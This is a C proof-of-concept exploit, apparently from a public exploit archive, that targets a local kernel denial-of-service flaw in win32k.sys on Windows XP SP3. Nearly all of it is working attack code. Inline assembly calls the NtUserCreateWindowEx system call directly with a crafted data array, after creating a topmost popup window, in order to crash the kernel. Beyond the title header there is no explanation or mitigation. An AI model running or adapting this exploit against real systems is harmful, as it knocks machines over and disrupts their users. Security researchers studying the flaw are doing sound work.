////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3(full patch)
//
/////////////////////////////////////////////////////////////////////////////
 
#include <Windows.h>
#include <stdio.h>
 
void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)
{
    _asm{
        xor eax,eax
        push eax
        push eax
            push eax
            push eax
            push eax
            push eax
            push eax
        push eax
        push eax
            push eax
            push eax
            push eax
            push d3
            push d2
        push d1
        push eax
        mov eax,0x1157
        mov edx,7FFE0300h
        call  dword ptr[edx]
        ret 0x3c
    }
}
void main()
{
    UINT i=0;
    UINT c[]={ 
 0x00000000,0x28001500,0xff7c98cc,0x23ffffff
,0x167c98cc,0x007c98fb,0x02001500,0x78010000
,0x00000000,0x00001500,0x00000000,0x00001500
,0x00000000,0x00001500,0x00000000,0x00000000
,0x00000000,0x00000000,0x34000000,0x3cc00000
,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000
,0x00000000,0x18000000,0x000007fb,0xf8000000
,0x200007fd,0x347c92e9,0x02c00000,0x4c000000
    };
        HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,
                                "magic",
                                "magic",
                                WS_POPUP,
                                100,
                                100,
                                100,
                                100,
                                0,
                                0,
                                GetModuleHandle( 0 ),
                                0);
    NtUserCreateWindowEx(_wnd,0x26,(UINT)c);
}